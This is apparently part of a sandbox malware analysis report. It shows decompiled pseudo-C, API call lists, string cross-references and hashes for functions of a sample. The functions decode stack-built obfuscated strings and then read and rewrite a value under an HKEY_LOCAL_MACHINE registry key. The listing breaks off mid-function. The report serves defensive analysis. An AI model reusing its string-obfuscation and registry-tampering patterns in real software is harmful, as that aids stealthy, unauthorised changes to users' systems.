0x00414ede
0x00414ee0
0x00414efb
0x00414f02
0x00414f03
0x00414f08
0x00414f0d
0x00414f13
0x00414f1e
0x00414f33
0x00414f35
0x00414f3f
0x00414f43
0x00414f50
0x00414f58
0x00414f5a
0x00414f66
0x00414f6a
0x00414f6a
0x00414f50
0x00414ea6
0x00414f81
0x00414f83
0x00414f91
0x00414f96
0x00414f9d
0x00414fa4
0x00414fa6
0x00414fa6
0x00414fb1
0x00414fb7
0x00414fba
0x00414fc0
0x00414fdb
0x00414fe7
0x00414ff0
0x00414ff8
0x00415001
0x00415009
0x00415012
0x0041501a
0x00415023
0x0041502e
0x0041503d
0x00415057

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A5,00000000,00000001,00000001,00000000,00000000,00000001,00000001), ref: 00414E44
CreateThread.KERNEL32 ref: 00414E6E
CreateThread.KERNEL32 ref: 00414EF5
WaitForMultipleObjects.KERNEL32(0000000A,?,00000001,000000FF,?,00000001), ref: 00414F35

Strings

7, xrefs: 00414D21
&, xrefs: 00414885
*, xrefs: 00414AD3
@, xrefs: 00414D80
Z, xrefs: 00414DC0
w, xrefs: 00414A8D
}, xrefs: 00414CAC
*, xrefs: 00414C74
), xrefs: 004148F5
8, xrefs: 00414D90
&, xrefs: 00414905
A, xrefs: 00414D48
E, xrefs: 0041491D
9, xrefs: 00414B3C
*, xrefs: 0041490D
$, xrefs: 0041487D
k, xrefs: 004148FD
, xrefs: 00414AB4
., xrefs: 00414AC3
c, xrefs: 00414B93
Z, xrefs: 004149EF
\, xrefs: 004149BF
&, xrefs: 00414C8C
6, xrefs: 004148AD
[, xrefs: 00414B5A
>, xrefs: 00414B69
%, xrefs: 00414D88
), xrefs: 00414CD3
q, xrefs: 00414C3A
-, xrefs: 00414C9C
D, xrefs: 00414CEA
(, xrefs: 004148B5
(, xrefs: 00414987
(, xrefs: 004149CF
p, xrefs: 00414DA8
L, xrefs: 00414D31
/, xrefs: 0041488D
+, xrefs: 004148A5
}, xrefs: 00414AF3
(, xrefs: 00414875
g, xrefs: 00414A27
+, xrefs: 00414D98
z, xrefs: 00414D40
,, xrefs: 004148ED
,, xrefs: 004148BD
@, xrefs: 004149AF
E, xrefs: 00414BC2
H, xrefs: 00414A1F
*, xrefs: 00414CE2
$, xrefs: 004148E5
5, xrefs: 0041498F
v, xrefs: 00414BE2
l, xrefs: 00414BF2
-, xrefs: 0041489D
V, xrefs: 00414C7C
1, xrefs: 004148C5
X, xrefs: 00414ADB
v, xrefs: 00414AE3
(, xrefs: 004148DD
S, xrefs: 00414C0A
*, xrefs: 00414895
-, xrefs: 004148CD
(, xrefs: 00414915
C, xrefs: 00414ACB

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Create$Thread$EventMultipleObjectsWait
String ID: $$$$$%$&$&$&$($($($($($($)$)$*$*$*$*$*$+$+$,$,$-$-$-$.$/$1$5$6$7$8$9$>$@$@$A$C$D$E$E$H$L$S$V$X$Z$Z$[$\$c$g$k$l$p$q$v$v$w$z$}$}
API String ID: 235807246-2775756417
Opcode ID: a6afbd8884c598ed69450247ac07e46a6a6b8b414b765670315f290819311f0a
Instruction ID: b6b29a9a05f7405d77ba8641239e9328c4f6afcdac9f5fec8354e56a50ce38c0
Opcode Fuzzy Hash: a6afbd8884c598ed69450247ac07e46a6a6b8b414b765670315f290819311f0a
Instruction Fuzzy Hash: A522283110C7C18AE332C7689859BDFBFD45BA7318F484A9EE1E95B2D2C6B90109C767

Uniqueness

Uniqueness Score: -1.00%

Function 00422920, Relevance: 129.9, APIs: 14, Strings: 60, Instructions: 373
memoryregistryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00422920(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				intOrPtr _v168;
				int _v172;
				int _v176;
				void* _v180;
				intOrPtr _t202;
				void* _t207;
				void* _t217;
				void* _t235;
				void* _t237;
				intOrPtr* _t238;
				void* _t240;
				unsigned int _t241;
				void* _t244;
				void* _t246;
				void* _t247;
				void* _t255;
				void _t261;
				signed int _t265;
				signed int _t266;
				void _t271;
				intOrPtr _t272;
				void _t273;
				void _t274;
				signed int _t276;
				void _t281;
				char _t282;
				void* _t291;
				void* _t294;
				void* _t295;
				void* _t296;
				void* _t298;
				intOrPtr _t301;
				void* _t302;
				void* _t306;
				int _t312;
				char* _t313;
				void* _t314;
				void* _t316;
				void* _t318;
				int* _t320;

				_t320 =  &_v172;
				_t202 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t202;
				_v134 = 0x7c;
				_v131 = 0x7c;
				_v149 = 0x7c;
				_v136 = 0x54;
				_v135 = 0x2c;
				_v133 = 0xc;
				_v132 = 0x12;
				_v130 = 0x2c;
				_v129 = 0xe7;
				_v128 = 0x50;
				_v127 = 0x8d;
				_v126 = 0x53;
				_v125 = 0x29;
				_v124 = 0xa2;
				_v123 = 0xa8;
				_v122 = 0x4e;
				_v121 = 0x45;
				_v120 = 0xc5;
				_v156 = 0x19;
				_v155 = 0x47;
				_v154 = 0xee;
				_v153 = 0x5d;
				_v152 = 0x22;
				_v151 = 0xb8;
				_v150 = 0xd;
				_v148 = 0xe1;
				_v147 = 0xa7;
				_v146 = 0xf;
				_v145 = 0xe;
				_v144 = 0x8c;
				_v143 = 0xbc;
				_v142 = 0x1e;
				_v141 = 0x27;
				_v140 = 0x3b;
				_t312 = 0;
				do {
					 *((intOrPtr*)(_t320 + _t312 + 0x34)) =  *((intOrPtr*)(_t320 + _t312 + 0x34)) +  *((intOrPtr*)(_t320 + _t312 + 0x20));
					_t312 = _t312 + 1;
				} while (_t312 < 0x11);
				_v115 = 0x1e;
				_v105 = 0xc3;
				_v101 = 0xc3;
				_v116 = 0x36;
				_v114 = 0x25;
				_v113 = 0x12;
				_v112 = 0x52;
				_v111 = 0x96;
				_v110 = 0xad;
				_v109 = 0x9e;
				_v108 = 0xbf;
				_v107 = 0x75;
				_v106 = 0xdd;
				_v104 = 0xce;
				_v103 = 0x7d;
				_v102 = 0xa8;
				_v100 = 0x95;
				_v99 = 0x7b;
				_v98 = 0xa8;
				_v97 = 0;
				_v96 = 0xc3;
				_v95 = 0x16;
				_v94 = 0x94;
				_v93 = 0x19;
				_v92 = 0x2f;
				_v91 = 0xd6;
				_v90 = 0x67;
				_v89 = 0x14;
				_v88 = 0x50;
				_v87 = 0xf4;
				_v86 = 0x54;
				_v85 = 0x88;
				_v84 = 0xfc;
				_v83 = 0xc;
				_v82 = 0xf4;
				_v81 = 0x2c;
				_v80 = 0x57;
				_v79 = 0xc3;
				_v78 = 0x4b;
				_v77 = 0x53;
				_v76 = 7;
				_v75 = 0x34;
				_v74 = 0x85;
				_v73 = 0x3f;
				_v72 = 0xb1;
				_v71 = 0x35;
				_v70 = 0x9f;
				_v69 = 0xc0;
				_v68 = 0xd2;
				_v67 = 0xbf;
				_v66 = 0x4e;
				_v65 = 0xc;
				_v64 = 0x87;
				_v60 = 0x87;
				_v59 = 0x7f;
				_v58 = 0x39;
				_v57 = 0xd0;
				_v56 = 0xb6;
				_v55 = 0xae;
				_v54 = 0xf6;
				_v53 = 0x62;
				_v52 = 0xed;
				_v51 = 0x51;
				_v50 = 0xea;
				_v49 = 0x5d;
				_v48 = 0x74;
				_v47 = 0x21;
				_v46 = 0x2e;
				_v45 = 0x63;
				_v44 = 0x23;
				_v43 = 0x42;
				_v42 = 0x91;
				_v41 = 0x7e;
				_v40 = 0x8e;
				_v39 = 0xfd;
				_v38 = 0x17;
				_v37 = 0xa8;
				_v36 = 4;
				_push(0x35);
				_v22 = 0xdb;
				_v15 = 0xdb;
				_push( &_v116);
				_v35 = 0x5a;
				_v34 = 0x47;
				_v33 = 0xa5;
				_v32 = 0x58;
				_v31 = 0x76;
				_v30 = 0xf0;
				_v29 = 0x78;
				_v28 = 0x5c;
				_v27 = 0x57;
				_v26 = 0xf4;
				_v25 = 0xf;
				_v24 = 0xf3;
				_v23 = 0xac;
				_v21 = 0x12;
				_v20 = 0xbc;
				_v19 = 0xa0;
				_v18 = 0xb4;
				_v17 = 0x38;
				_v16 = 0xe3;
				_v14 = 0xff;
				_v13 = 0xd7;
				_v12 = 5;
				_v11 = 0x46;
				_v10 = 0x63;
				_v9 = 0x51;
				_v8 = 0x65;
				_t313 = E00422300( &_v60);
				_v164 = 0x39;
				_v163 = 8;
				_v162 = 8;
				_v161 = 0x31;
				_v160 = 0x16;
				_v159 = 0x11;
				_v158 = 0xc;
				_v157 = 0x27;
				_v156 = 0x3c;
				_v155 = 0x34;
				_v154 = 0x34;
				_v153 = 0xb;
				_v152 = 0x78;
				_t207 = 0;
				do {
					 *(_t320 + _t207 + 0x20) =  *(_t320 + _t207 + 0x20) ^ 0x00000078;
					_t207 = _t207 + 1;
				} while (_t207 < 0xd);
				_v176 = 0x400;
				_v172 = 0;
				_v168 = 1;
				_t318 = HeapAlloc(GetProcessHeap(), 8, 0x400);
				_t255 = HeapAlloc(GetProcessHeap(), 8, _v176);
				RegOpenKeyExA(0x80000002, _t313, 0, 0xf003f,  &_v180);
				if(RegQueryValueExA(_v180,  &_v164, 0,  &_v172, _t318,  &_v176) == 0) {
					_t314 = E00425320(_t318,  &_v144);
					if(_t314 != 0) {
						_t265 = _v176;
						_t266 = _t265 >> 2;
						_t302 = _t255;
						memset(_t302 + _t266, memset(_t302, 0, _t266 << 2), (_t265 & 0x00000003) << 0);
						E00425B10(_t255, _t318, _t314 - _t318);
						_t235 = _t255;
						_t182 = _t235 + 1; // 0x1
						_t294 = _t182;
						do {
							_t271 =  *_t235;
							_t235 = _t235 + 1;
						} while (_t271 != 0);
						_t237 = _t235 - _t294 - 1;
						if(_t237 >= 0) {
							while( *((char*)(_t237 + _t255)) == 0x20) {
								_t237 = _t237 - 1;
								 *((char*)(_t237 + _t255 + 1)) = 0;
								if(_t237 >= 0) {
									continue;
								}
								goto L13;
							}
						}
						L13:
						_t238 =  &_v144;
						_t295 = _t238 + 1;
						do {
							_t272 =  *_t238;
							_t238 = _t238 + 1;
						} while (_t272 != 0);
						_t240 = _t238 - _t295 + _t314;
						_t316 = _t240;
						do {
							_t273 =  *_t240;
							_t240 = _t240 + 1;
						} while (_t273 != 0);
						_t241 = _t240 - _t316;
						_t306 = _t255 - 1;
						do {
							_t274 =  *(_t306 + 1);
							_t306 = _t306 + 1;
						} while (_t274 != 0);
						_t276 = _t241 >> 2;
						_t244 = memcpy(_t316 + _t276 + _t276, _t316, memcpy(_t306, _t316, _t276 << 2) & 0x00000003);
						_t190 = _t244 + 1; // 0x1
						_t296 = _t190;
						do {
							_t281 =  *_t244;
							_t244 = _t244 + 1;
						} while (_t281 != 0);
						_t246 = _t244 - _t296 - 1;
						if(_t246 >= 0) {
							while( *((char*)(_t246 + _t255)) == 0x20) {
								_t246 = _t246 - 1;
								 *((char*)(_t246 + _t255 + 1)) = 0;
								if(_t246 >= 0) {
									continue;
								}
								goto L25;
							}
						}
						L25:
						_t247 = _t255;
						_t298 = _t318 - _t255;
						do {
							_t282 =  *_t247;
							 *((char*)(_t298 + _t247)) = _t282;
							_t247 = _t247 + 1;
						} while (_t282 != 0);
					}
					_t217 = _t318;
					_t195 = _t217 + 1; // 0x1
					_t291 = _t195;
					do {
						_t261 =  *_t217;
						_t217 = _t217 + 1;
					} while (_t261 != 0);
					if(RegSetValueExA(_v180,  &_v164, 0, _v172, _t318, _t217 - _t291 + 1) == 0) {
						_t301 = _v168;
					} else {
						_t301 = 0;
					}
					RegCloseKey(_v180);
					HeapFree(GetProcessHeap(), 0, _t318);
					HeapFree(GetProcessHeap(), 0, _t255);
					return E00424873(_t301, _v12);
				} else {
					RegCloseKey(_v180);
					return E00424873(0, _v12);
				}
			}

0x00422920
0x00422926
0x0042292f
0x00422937
0x0042293b
0x0042293f
0x0042294a
0x0042294f
0x00422954
0x00422958
0x0042295d
0x00422962
0x00422967
0x0042296c
0x00422971
0x00422976
0x0042297b
0x00422980
0x00422984
0x00422989
0x0042298e
0x00422993
0x00422998
0x0042299d
0x004229a2
0x004229a7
0x004229ac
0x004229b1
0x004229b6
0x004229bb
0x004229c0
0x004229c5
0x004229ca
0x004229cf
0x004229d4
0x004229d8
0x004229dd
0x004229e2
0x004229e4
0x004229e8
0x004229ec
0x004229ed
0x004229f2
0x004229f8
0x004229fc
0x00422a07
0x00422a0c
0x00422a11
0x00422a16
0x00422a1b
0x00422a20
0x00422a25
0x00422a2a
0x00422a2f
0x00422a34
0x00422a39
0x00422a3e
0x00422a43
0x00422a47
0x00422a4c
0x00422a51
0x00422a55
0x00422a5a
0x00422a5e
0x00422a63
0x00422a68
0x00422a6d
0x00422a72
0x00422a77
0x00422a7c
0x00422a81
0x00422a86
0x00422a8a
0x00422a8f
0x00422a94
0x00422a99
0x00422a9d
0x00422aa1
0x00422aa6
0x00422aab
0x00422aaf
0x00422ab4
0x00422ab9
0x00422abe
0x00422ac3
0x00422ac8
0x00422acd
0x00422ad2
0x00422ad6
0x00422adb
0x00422ae0
0x00422ae5
0x00422aea
0x00422aef
0x00422af3
0x00422af8
0x00422b00
0x00422b08
0x00422b10
0x00422b18
0x00422b20
0x00422b28
0x00422b30
0x00422b38
0x00422b40
0x00422b48
0x00422b50
0x00422b58
0x00422b60
0x00422b68
0x00422b70
0x00422b78
0x00422b80
0x00422b88
0x00422b90
0x00422b98
0x00422ba0
0x00422ba8
0x00422bb0
0x00422bb7
0x00422bc1
0x00422bc6
0x00422bcd
0x00422bd4
0x00422bdc
0x00422be4
0x00422bec
0x00422bf4
0x00422bfc
0x00422c04
0x00422c0c
0x00422c14
0x00422c1c
0x00422c24
0x00422c2b
0x00422c33
0x00422c3b
0x00422c43
0x00422c4b
0x00422c53
0x00422c5b
0x00422c63
0x00422c6b
0x00422c73
0x00422c7b
0x00422c83
0x00422c8b
0x00422c93
0x00422c9b
0x00422ca3
0x00422cb0
0x00422cb2
0x00422cb7
0x00422cbc
0x00422cc1
0x00422cc6
0x00422ccb
0x00422cd0
0x00422cd4
0x00422cd9
0x00422cde
0x00422ce3
0x00422ce8
0x00422ced
0x00422cf2
0x00422cf4
0x00422cf4
0x00422cf9
0x00422cfa
0x00422d0c
0x00422d14
0x00422d1c
0x00422d2f
0x00422d4f
0x00422d51
0x00422d76
0x00422da7
0x00422dae
0x00422db4
0x00422dba
0x00422dbf
0x00422dc8
0x00422dd1
0x00422dd6
0x00422ddb
0x00422ddb
0x00422de0
0x00422de0
0x00422de2
0x00422de3
0x00422de9
0x00422dea
0x00422df0
0x00422df6
0x00422df7
0x00422dfc
0x00000000
0x00000000
0x00000000
0x00422dfc
0x00422df0
0x00422dfe
0x00422dfe
0x00422e02
0x00422e05
0x00422e05
0x00422e07
0x00422e08
0x00422e0e
0x00422e10
0x00422e12
0x00422e12
0x00422e14
0x00422e15
0x00422e1b
0x00422e1d
0x00422e20
0x00422e20
0x00422e23
0x00422e24
0x00422e2a
0x00422e36
0x00422e38
0x00422e38
0x00422e40
0x00422e40
0x00422e42
0x00422e43
0x00422e49
0x00422e4a
0x00422e50
0x00422e56
0x00422e57
0x00422e5c
0x00000000
0x00000000
0x00000000
0x00422e5c
0x00422e50
0x00422e5e
0x00422e60
0x00422e62
0x00422e64
0x00422e64
0x00422e66
0x00422e69
0x00422e6a
0x00422e64
0x00422e6e
0x00422e70
0x00422e70
0x00422e73
0x00422e73
0x00422e75
0x00422e76
0x00422e98
0x00422e9e
0x00422e9a
0x00422e9a
0x00422e9a
0x00422ea7
0x00422ebf
0x00422ec7
0x00422ee1
0x00422d78
0x00422d7d
0x00422d9b
0x00422d9b

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00422D24
HeapAlloc.KERNEL32(00000000), ref: 00422D2D
GetProcessHeap.KERNEL32(00000008,?), ref: 00422D38
HeapAlloc.KERNEL32(00000000), ref: 00422D3B
RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,?), ref: 00422D51
RegQueryValueExA.ADVAPI32(?,0000003B,00000000,00000000,00000000,?), ref: 00422D6E
RegCloseKey.ADVAPI32(?), ref: 00422D7D
_strncpy.LIBCMT ref: 00422DD1
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,00000054), ref: 00422E90
RegCloseKey.ADVAPI32(?,?,00000054), ref: 00422EA7
GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EB6
HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EBF
GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EC4
HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EC7

Strings

E, xrefs: 00422989
!, xrefs: 00422B60
N, xrefs: 00422AEA
), xrefs: 00422976
9, xrefs: 00422B08
], xrefs: 00422B50
t, xrefs: 00422B58
~, xrefs: 00422B90
S, xrefs: 00422971
Q, xrefs: 00422B40
#, xrefs: 00422B78
P, xrefs: 00422967
4, xrefs: 00422CDE
T, xrefs: 0042294A
,, xrefs: 00422AA1
?, xrefs: 00422AC8
N, xrefs: 00422984
x, xrefs: 00422CED
X, xrefs: 00422BF4
e, xrefs: 00422CA3
S, xrefs: 00422AB4
u, xrefs: 00422A2F
B, xrefs: 00422B80
W, xrefs: 00422C1C
g, xrefs: 00422A77
Z, xrefs: 00422BDC
%, xrefs: 00422A0C
b, xrefs: 00422B30
c, xrefs: 00422B70
Q, xrefs: 00422C9B
F, xrefs: 00422C8B
', xrefs: 004229D8
,, xrefs: 0042294F
}, xrefs: 00422A3E
6, xrefs: 00422A07
{, xrefs: 00422A4C
., xrefs: 00422B68
W, xrefs: 00422AA6
G@,, xrefs: 00422926
/, xrefs: 00422A6D
K, xrefs: 00422AAF
", xrefs: 004229A7
x, xrefs: 00422C0C
8, xrefs: 00422C63
P, xrefs: 00422A81
4, xrefs: 00422ABE
,, xrefs: 0042295D
', xrefs: 00422CD4
4, xrefs: 00422CE3
G, xrefs: 00422998
<, xrefs: 00422CD9
G, xrefs: 00422BE4
1, xrefs: 00422CC1
v, xrefs: 00422BFC
x, xrefs: 00422CF4
\, xrefs: 00422C14
R, xrefs: 00422A16
T, xrefs: 00422A8A
;, xrefs: 004229DD
c, xrefs: 00422C93

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$Process$AllocCloseFreeValue$OpenQuery_strncpy
String ID: !$"$#$%$'$'$)$,$,$,$.$/$1$4$4$4$6$8$9$;$<$?$B$E$F$G$G$G@,$K$N$N$P$P$Q$Q$R$S$S$T$T$W$W$X$Z$\$]$b$c$c$e$g$t$u$v$x$x$x${$}$~
API String ID: 3932281191-1180501587
Opcode ID: 1e99909b19aa585da5ead2d891978beee004937c050dea2f45ef4ffdaa32fc77
Instruction ID: 4784c4b2e2af174b486d3fa0099c06b4624002471a15ad2e25fd25ecae521a18
Opcode Fuzzy Hash: 1e99909b19aa585da5ead2d891978beee004937c050dea2f45ef4ffdaa32fc77
Instruction Fuzzy Hash: 8002182120C7C19ED332C63C994879BBFD15BA7218F484A9DE1E85B3D2C7B98509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 004223A0, Relevance: 112.3, APIs: 9, Strings: 55, Instructions: 322
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E004223A0(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v144;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				int _v184;
				int _v188;
				void* _v192;
				intOrPtr _t202;
				char _t204;
				void* _t212;
				void* _t220;
				intOrPtr _t230;
				short _t231;
				void* _t232;
				unsigned int _t233;
				void* _t244;
				void _t250;
				void _t254;
				void _t255;
				signed int _t257;
				void* _t273;
				void* _t275;
				short* _t278;
				void* _t280;
				char* _t287;
				void* _t288;
				char _t290;
				int* _t291;

				_t291 =  &_v184;
				_t202 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t202;
				_v134 = 0x7c;
				_v131 = 0x7c;
				_v165 = 0x7c;
				_v136 = 0x54;
				_v135 = 0x2c;
				_v133 = 0xc;
				_v132 = 0x12;
				_v130 = 0x2c;
				_v129 = 0xe7;
				_v128 = 0x50;
				_v127 = 0x8d;
				_v126 = 0x53;
				_v125 = 0x29;
				_v124 = 0xa2;
				_v123 = 0xa8;
				_v122 = 0x4e;
				_v121 = 0x45;
				_v120 = 0xc5;
				_v172 = 0x19;
				_v171 = 0x47;
				_v170 = 0xee;
				_v169 = 0x5d;
				_v168 = 0x22;
				_v167 = 0xb8;
				_v166 = 0xd;
				_v164 = 0xe1;
				_v163 = 0xa7;
				_v162 = 0xf;
				_v161 = 0xe;
				_v160 = 0x8c;
				_v159 = 0xbc;
				_v158 = 0x1e;
				_v157 = 0x27;
				_v156 = 0x3b;
				_t204 = 0;
				do {
					 *((char*)(_t291 + _t204 + 0x3c)) =  *((intOrPtr*)(_t291 + _t204 + 0x3c)) +  *((intOrPtr*)(_t291 + _t204 + 0x18));
					_t204 = _t204 + 1;
				} while (_t204 < 0x11);
				_v110 = 0x36;
				_v100 = 0x7a;
				_v94 = 0x36;
				_v87 = 0x36;
				_v74 = 0x7a;
				_v115 = 0xbc;
				_v97 = 0xbc;
				_v83 = 0x85;
				_v80 = 0x85;
				_v64 = 0xca;
				_v60 = 0xca;
				_v116 = 0x88;
				_v114 = 0xad;
				_v113 = 0x41;
				_v112 = 0xf4;
				_v111 = 0xf3;
				_v109 = 0xbb;
				_v108 = 0x66;
				_v107 = 0x92;
				_v106 = 0x38;
				_v105 = 0x7e;
				_v104 = 0x9e;
				_v103 = 0xe6;
				_v102 = 0xcd;
				_v101 = 0x71;
				_v99 = 0x5c;
				_v98 = 0x6d;
				_v96 = 0x12;
				_v95 = 0xaa;
				_v93 = 0xfb;
				_v92 = 0x7e;
				_v91 = 0x11;
				_v90 = 6;
				_v89 = 0xf7;
				_v88 = 0x6a;
				_v86 = 0xac;
				_v85 = 0x31;
				_v84 = 0xcf;
				_v82 = 0xae;
				_v81 = 0x1d;
				_v79 = 0xc;
				_v78 = 0x64;
				_v77 = 0xd8;
				_v76 = 0x80;
				_v75 = 0x48;
				_v73 = 0xb6;
				_v72 = 0xf5;
				_v71 = 0x5a;
				_v70 = 0x19;
				_v69 = 0x67;
				_v68 = 0x2f;
				_v67 = 0xd;
				_v66 = 0x25;
				_v65 = 0xab;
				_v59 = 0xd8;
				_v58 = 0x52;
				_v57 = 0x62;
				_v56 = 0x4b;
				_v55 = 9;
				_v54 = 0x70;
				_v53 = 0xd;
				_v52 = 0xa9;
				_v51 = 0xd8;
				_v50 = 0x15;
				_v49 = 0x21;
				_v48 = 0xf3;
				_v47 = 0xaa;
				_v46 = 1;
				_v45 = 0x5a;
				_v44 = 0xf1;
				_v43 = 0x73;
				_v42 = 0xcb;
				_v41 = 0xf7;
				_v11 = 0x15;
				_push(0x35);
				_v27 = 0xeb;
				_v10 = 0xeb;
				_push( &_v116);
				_v40 = 0xbd;
				_v39 = 0x44;
				_v38 = 0xef;
				_v37 = 0x6a;
				_v36 = 0x3e;
				_v35 = 0xb9;
				_v34 = 0x26;
				_v33 = 0x62;
				_v32 = 9;
				_v31 = 0x94;
				_v30 = 0x52;
				_v29 = 0xc4;
				_v28 = 0x7b;
				_v26 = 0x31;
				_v25 = 0x28;
				_v24 = 0x1c;
				_v23 = 0x1e;
				_v22 = 0xbe;
				_v21 = 0x89;
				_v20 = 0xec;
				_v19 = 0x1d;
				_v18 = 0x51;
				_v17 = 0xdf;
				_v16 = 0x3a;
				_v15 = 0xfe;
				_v14 = 0x64;
				_v13 = 0xb2;
				_v12 = 0xa3;
				_v9 = 0xf3;
				_v8 = 0xdb;
				_t287 = E00422300( &_v60);
				_v149 = 0xb4;
				_v168 = 0xb4;
				_v160 = 0xaa;
				_v159 = 0xe5;
				_v158 = 0x1d;
				_v157 = 0x3e;
				_v156 = 0xc5;
				_v155 = 0xee;
				_v154 = 0x76;
				_v153 = 0x53;
				_v152 = 0xb2;
				_v151 = 1;
				_v150 = 0x17;
				_v148 = 0x4c;
				_v180 = 0x97;
				_v179 = 0x8b;
				_v178 = 0x53;
				_v177 = 0xb;
				_v176 = 0xa9;
				_v175 = 0x7b;
				_v174 = 0xfe;
				_v173 = 0xc;
				_v172 = 0x92;
				_v171 = 0x4b;
				_v170 = 0x35;
				_v169 = 0xbf;
				_t212 = 0;
				do {
					 *((char*)(_t291 + _t212 + 0x2c)) =  *((intOrPtr*)(_t291 + _t212 + 0x2c)) +  *((intOrPtr*)(_t291 + _t212 + 0x18));
					_t212 = _t212 + 1;
				} while (_t212 < 0xd);
				_t290 = 1;
				_v184 = 0xff;
